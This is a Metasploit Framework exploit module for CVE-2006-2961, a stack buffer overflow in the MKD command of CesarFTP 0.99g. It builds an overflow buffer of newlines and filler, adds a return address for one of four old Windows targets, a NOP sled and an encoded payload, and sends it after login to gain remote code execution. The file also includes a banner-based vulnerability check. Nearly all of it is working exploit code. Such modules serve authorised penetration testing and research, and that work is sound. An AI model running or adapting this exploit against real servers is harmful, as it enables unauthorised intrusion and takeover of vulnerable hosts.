##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'Cesar FTP 0.99g MKD Command Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack overflow in the MKD verb in CesarFTP 0.99g.
      },
      'Author'         => 'MC',
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision$',
      'References'     =>
        [
          [ 'CVE', '2006-2961'],
          [ 'OSVDB', '26364'],
          [ 'BID', '18586'],
          [ 'URL', 'http://secunia.com/advisories/20574/' ],
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 250,
          'BadChars' => "\x00\x20\x0a\x0d",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        => 
        [
          [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e14c29 } ],
          [ 'Windows 2000 Pro SP4 French',  { 'Ret' => 0x775F29D0 } ],
          [ 'Windows XP SP2 English',       { 'Ret' => 0x76b43ae0 } ],
          [ 'Windows 2003 SP1 English',     { 'Ret' => 0x76AA679b } ],
        ],
      'DisclosureDate' => 'Jun 12 2006',
      'DefaultTarget'  => 0))
  end

  def check
    connect
    disconnect  
  
    if (banner =~ /CesarFTP 0\.99g/)
      return Exploit::CheckCode::Vulnerable
    end
      return Exploit::CheckCode::Safe
  end
  
  def exploit
    connect_login

    sploit =  "\n" * 671 + rand_text_english(3, payload_badchars)  
    sploit << [target.ret].pack('V') + make_nops(40) + payload.encoded  

    print_status("Trying target #{target.name}...")

    send_cmd( ['MKD', sploit] , false)

    handler
    disconnect
  end

end